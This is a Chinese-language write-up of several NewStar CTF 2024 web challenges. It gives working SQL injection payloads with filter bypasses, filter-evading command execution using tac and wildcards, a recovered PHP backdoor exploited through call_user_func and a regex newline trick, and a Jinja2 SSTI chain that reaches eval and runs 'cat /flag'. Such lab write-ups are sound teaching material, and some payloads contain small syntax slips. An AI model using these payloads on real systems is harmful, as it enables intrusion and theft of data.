NewStar-CTF-2024-Week2-Web

你能在一秒内打出八句英文吗

经典脚本题,思路:先获取页面中需要输入的英文文本,再提交你获得的的文本。

<p id='text'> 是一个 HTML 标签,它表示一个段落元素(<p>)并且带有一个 ID 属性,值为 text

import requests
from bs4 import BeautifulSoup

# 创建会话
session = requests.Session()

# 目标 URL
start_url = "http://eci-2ze28vznmioh0zpy19h2.cloudeci1.ichunqiu.com/start"
submit_url = "http://eci-2ze28vznmioh0zpy19h2.cloudeci1.ichunqiu.com/submit"  # 修改为实际提交的 URL

# 获取页面内容
response = session.get(start_url)
if response.status_code == 200:
    soup = BeautifulSoup(response.text, 'html.parser')
    # 解析 HTTP 响应中的 HTML 内容
    # html.parser 是 Python 内置的解析器

    # 由于需要的英文文本在 <p id='text'> 标签中
    text_element = soup.find('p', id='text')

    if text_element:
        value = text_element.get_text()
        print(f"获取到的文本:{value}")
        # 创建payload字典
        payload = {'user_input': value}
        # 由源代码可知,'user_input' 是服务器端所期望接收的参数名称
        post_response = session.post(submit_url, data = payload)
        print("提交后的响应:")
        print(post_response.text)

在 Python 的 requests 库中,r.contentr.text 是用于获取 HTTP 响应内容的两种方式,它们的区别在于数据类型和编码方式:
**r.content**:

  • 数据类型bytes 类型,即字节流
  • 用途:适用于处理非文本数据(如图片、视频、PDF 文件等)或需要进行特定编码处理的文本。
  • 示例r.content 可以直接获取原始的二进制响应内容,如果要保存文件或手动解码可以使用它。
response = requests.get("https://example.com/image.jpg")
with open("image.jpg", "wb") as file:
file.write(response.content)

**r.text**:

  • 数据类型str 类型,即Unicode 文本
  • 用途:适用于文本数据,例如 HTML、JSON、XML 等。requests 会根据响应的 encoding 自动解码为 Unicode。
  • 示例r.text 可直接用于解析文本响应内容,例如解析 JSON 响应。
response = requests.get("https://example.com/data")
print(response.text) # 打印文本内容

遗失的拉链

提示:拉链的英文是 zip,这里是考的 www.zip 泄露
dirsearch扫描网站目录。

访问https://eci-2zeirp9f80ax1v9sfvhd.cloudeci1.ichunqiu.com/www.zip,下载

数组绕过:原理是 md5 等函数不能处理数组,导致函数返回null。而null是等于null的,导致了绕过。
例如,?new[]=value1

if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
# preg_match函数是一个用于执行正则表达式匹配的函数。它检查 `$cmd` 变量中是否包含特定的模式。
# /cat|flag/:表示匹配字符串中是否包含 "cat""flag"
# i修饰符:表示不区分大小写。

命令执行过滤了 cat,使用 tac 代替。flag被过滤,使用 fla* 通配符绕过。

注意分号。

谢谢皮蛋 plus

  1. 输入2-1和1,回显信息不同,证明是字符型注入。
  2. 接下来判断闭合方式,输入1“报错,说明是双引号。
  3. 输入1" order by 2#,记得注释!

    判断空格可能被过滤。使用 /**/ 替换空格:1"/**/order/**/by/**/2#
    字段数为2。
  4. 爆数据库:异常值+union select两字段#
    -1"/**/union/**/select/**/database(),2#
  5. 爆表
    -1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'#
  6. 爆字段
    -1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/and/**/table_name='Fl4g'#

    猜测可能是and被过滤,使用&&替换。
    -1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/&&/**/table_name='Fl4g'#
  7. 得到flag。
    -1"/**/union/**/select/**/1,group_concat(des,value)/**/from/**/Fl4g#

这篇文章总结了一些常见的 SQL 注入:SQL 注入绕过过滤总结

PangBai 过家家(2)


有泄露的文件,先目录扫描一下。

发现有git泄露。

使用 GitHack 工具从 .git 文件夹中泄露文件到本地。

进入dist下生成的文件夹,可以看到恢复的网站源码:

可以使用 git 命令查看当前项目的信息。

比如使用 git log 查看提交历史。

git stash list 查看所有被暂存的修改记录。它会列出当前分支中存储的所有“暂存内容”(stash)。

可以看到 Stash 中含有后门。

有时会遇到这样的情况,我们正在 dev 分支开发新功能,做到一半时有人过来反馈一个 bug,让马上解决,但是又不方便和现在已经更改的内容混杂在一起,这时就可以使用 git stash 命令先把当前进度保存起来。随后便可以即时处理当前要处理的内容。使用 git stash pop 则可以将之前存储的内容重新恢复到工作区。又或者,我们已经在一个分支进行了修改,但发现自己修改错了分支,可以通过 Stash 进行存储,然后到其它分支中释放。

使用 git stash pop 恢复后门文件到工作区。

发现了后门文件 BacKd0or.v2d23AOPpDfEW5Ca.php,访问显示:

由于 git stash pop 已经将文件释放了出来,我们可以直接查看后门的源码:

# Functions to handle HTML output

function print_msg($msg) {
$content = file_get_contents('index.html');
$content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
$content = preg_replace('/ event/', '', $content);
$content = str_replace('点击此处载入存档', $msg, $content);
echo $content;
}

function show_backdoor() {
$content = file_get_contents('index.html');
$content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
echo $content;
}

# Backdoor

if ($_POST['papa'] !== 'TfflxoU0ry7c') {
show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');
call_user_func($_POST['func'], $_POST['args']);
} else {
print_msg('PangBai hates you!');
}

主要看if ($_POST['papa'] !== 'TfflxoU0ry7c')else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024']))

在上面的代码中,正则表达式 '/^Welcome$/' 要求精确匹配 "Welcome",而 ^$ 分别匹配字符串的开头和结尾。由于 $ 在单行模式下会将最后一个换行符视为字符串结尾,可以通过在 Welcome 后添加换行符来绕过这种检查。

因此,通过在 $_GET['NewStar_CTF.2024'] 中添加换行符,攻击者可以在一些情况下绕过原本精确匹配的验证逻辑,从而让条件语句的判断意图失效。

但如果直接传参 NewStar_CTF.2024=Welcome%0A 会发现并没有用。这是由 NewStar_CTF.2024 中的特殊字符 . 引起的,PHP 默认会将其解析为 NewStar_CTF_2024.

在 PHP 7 中,可以使用 [ 字符的非正确替换漏洞。当传入的参数名中出现 [ 且之后没有 ] 时,PHP 会将 [ 替换为 _

因此,GET 传参 NewStar[CTF.2024=Welcome%0A即可。

之后就是对call_user_func的利用:
由于 $_POST['func']$_POST['args'] 都是用户可控的输入,代码中没有进行任何验证或过滤,这种用法可能导致任意代码执行漏洞。用户可以通过向 func 传入 PHP 内置的敏感函数名称,或者指定某些自定义函数,实现执行任意代码的目的。例如:

  • 用户传入 $_POST['func'] = 'system'$_POST['args'] = 'ls',则会执行 system('ls'),从而在服务器上执行命令。

env | grep flag 是一个命令行指令,通常用于查找包含关键字“flag”的环境变量。

  1. **env**:列出当前 shell 中的所有环境变量及其值。
  2. |(管道符):将前一个命令的输出传递给后一个命令。
  3. **grep flag**:过滤 env 命令的输出,仅显示包含“flag”关键字的行。

复读机

SSTI(Server-Side Template Injection)注入: 发生在一些服务器端使用的模板引擎(如 Jinja2、Twig、Thymeleaf 等)中,允许攻击者在模板中注入并执行恶意代码。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。凡是使用模板的地方都可能会出现 SSTI 的问题

http://f0und.icu/article/24.html

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园

目前CTF常见的SSTI题中,大部分是考python的。python常见的模板有:Jinja2,tornado.

Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了

由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等。

Python 中的对象带有许多特殊的 __dunder__ 属性(也称为“魔术方法”),例如 __class____dict____mro__,它们提供了关于对象类型和结构的详细信息。

__class__:获得当前对象的类 # print(person.__class__)
__bases__:只显示直接基类,适合用于查看当前类的直接父类。
__mro__ :给出一个完整的类继承链,适用于多重继承情况下的查找顺序。
__subclasses__():返回子类列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

获取 object 类。

"a".__class__.__mro___ // 会获取当前的方法的调用顺序

在 Python 中,object 类是所有类的基类,为每个类和对象提供了基础结构,如 __str____repr____init__ 等常用方法,这些方法被所有类继承或重写。这使得不同类型的对象之间能够保持一致的行为,并且方便实现多态性。

python3: str.__mro__ 会返回 (<class 'str'>, <class 'object'>)
python2:str.__mro__ 会返回(<type 'str'>, <type 'basestring'>, <type 'object'>)

所以 python3 object 类是"a".__class__.__mro___[1]

找到object 类后,.__subclasses__()返回其子类列表。

"a".__class__.__mro___[1].__subclasses__()

Python 中存在一些具有全局字典引用(如 __globals__)的类,这些类的 __init__ 方法会包含对全局字典的引用,从而能通过反射或属性访问来找到 eval如awnings,enum等类

eval 是 Python 中的一个内置函数,用于动态执行表达式字符串,并返回结果。

由于 eval 可以执行任意代码,它有较高的安全风险。例如,如果用户输入了具有破坏性的代码,eval 将会无条件执行。因此,只有在确保安全的情况下才应使用 eval,并尽可能避免直接暴露给用户输入。

通常情况下,eval 是直接可以从 __builtins__ 访问的。__builtins__ 是 Python 的全局命名空间中的一个字典,包含了所有内置函数、异常和对象。

# 从 __builtins__ 中访问 eval
eval_func = __builtins__['eval']
result = eval_func("5 + 10")
print(result) # 输出 15

在一些受限制的环境中,可能无法直接访问 eval,需要通过反射或其他方式获取。例如,可以通过获取某些内置类型的 __init__ 方法中的 __globals__ 字典来间接访问 eval

# 间接获取 eval
eval_func = int.__init__.__globals__['__builtins__']['eval']
result = eval_func("7 * 3")
print(result) # 输出 21

解题步骤

1. 确定注入点是否存在 SSTI

  • 在接触页面时,先尝试注入简单的模板表达式,比如 {{ 7*7 }},观察页面是否直接返回表达式结果。
  • 正常情况下,用户输入应当被视为普通文本,不应执行其中的任何代码。如果输入 {{ 7*7 }} 被解析为 49,说明服务器将输入当成了代码,而不是普通文本,就说明该页面存在 SSTI 注入,可以通过模板语法进一步探索。

2. 探索过滤规则

  • 尝试注入 {{ "a".__class__}} 来获取当前对象的类。页面输出异常信息(“bot 显示不喜欢上课”),说明 __class__ 被过滤,. 可能也会被视为敏感字符,因为它能直接访问对象的属性。
  • 遇到关键字被过滤的情况,可以利用字符串拼接等技巧绕过过滤,例如 {{"a"['__cl'+'ass__']}},绕过 __class__ 关键字限制。其中用[] 来绕过.过滤

3. 利用 SSTI 获取敏感对象和方法

  • SSTI 的目的是执行服务端代码,所以我们需要找到一个能操作系统命令的类。
  • 对于大多数语言,object 是所有类的基类,我们可以通过访问 object 来找到各种可能的类。
  • 可以通过表达式 {{"a".['__cl'+'ass__']['__mro__'][1]}}获取 object 类;
  • 然后通过 {{"a".['__cl'+'ass__']['__mro__'][1]['__subc'+'lasses__']()}} 获得所有子类的列表。

4. 查找可利用的类

  • 在获得 subclasses() 列表后,可以遍历其中的类,找到可能用于执行命令的类。在这个例子中,可以选择 os._wrap_close(通常位于索引 132,不同的 Python 版本和环境中,索引值可能有所不同)类。
  • os._wrap_close 类中包含了可以帮助调用系统命令的方法,比如 __init__ 中可以访问 __globals__ 属性,进一步获取 Python 内置的 eval 函数。

5. 利用 eval 执行系统命令

  • 通过 eval,可以构造命令执行的表达式:
    {{"a".['__cl'+'ass__']['__mro__'][1]['__subc'+'lasses__']()[132]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
  • **__import__('os')**:导入 Python 的 os 模块。__import__() 是一个内置函数,可以用来动态导入模块。
  • **os.popen('cat /flag')**:调用 os.popen(),它打开一个管道并执行命令 cat /flag
  • **.read()**:将执行命令的结果读出并返回。